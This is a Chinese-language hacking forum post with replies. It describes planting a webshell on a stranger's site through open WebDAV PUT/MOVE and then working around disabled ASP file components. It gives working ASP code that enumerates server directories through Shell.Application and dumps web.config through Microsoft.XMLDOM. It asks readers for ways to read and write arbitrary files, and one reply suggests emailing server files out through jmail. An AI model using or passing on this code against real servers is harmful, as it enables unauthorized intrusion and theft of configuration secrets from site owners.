ASP在stream以及fso组件被清除后的一点突破
路遇一站,webdav打开着,可以put,可以move,于是很容易拿到了webshell,但是发现菜刀连不上。仔细一看ADODB.Stream组件无法CreateObject,Scripting.FileSystemObject也一样无法CreateObject。
服务器支持aspx,可是无法上传文件,也无法查看目录。
测试了下,发现SHELL.APPLICATION还在,SHELL.APPLICATION是对目录的操作,以及可以执行命令。
于是先遍历目录:
szcmd = Server.MapPath("/")
if (szcmd <> "") then
set shell=server.createobject("shell.application")
set fod1=shell.namespace(szcmd)
set foditems=fod1.items
for each co in foditems
response.write "<font color=red>" & co.path & "-----" & co.size & "</font><br>"
next
end if
再测试了下,发现MICROSOFT.XMLDOM组件还在,于是可以读文件,不过仅限对xml文件,即web.config啦:
set xmldoc=server.createobject("microsoft.xmldom")
xmldoc.load(server.mappath("web.config"))
getnodes(xmldoc)
sub getnodes(node)
dim i
response.write("<br><b>NodeName:</b>"&node.nodename&"<br><b>NodeTypeString:</b>"&node.nodetypestring&"<br><b>NodeValue:</b>"&node.nodevalue&"<br><b>Text:</b>"&node.text&"<br><b>node.childnodes.length:</b>"&node.childnodes.length&"<p>")
if node.childnodes.length<>0 then
for i=0 to node.childnodes.length-1
getnodes(node.childnodes(i))
next
end if
end sub
希望大家研究下,当前条件下如何读任意文件,如何写任意文件,一起讨论。
评论8次
不太懂这东西, 哎,技术太差了
需要有可以执行的cmd.exe。然后shell.application
请问命令怎么执行
测试下这个看看:
这个方法不错,支持一个!
如果支持jmail组件,那么可以把当前目录的文件作为附件发送到邮箱.
人家是利用microsoft.xmldom组件读取目录下的web.config内容.
要是碰上不支持ASPX呢 有啥思路。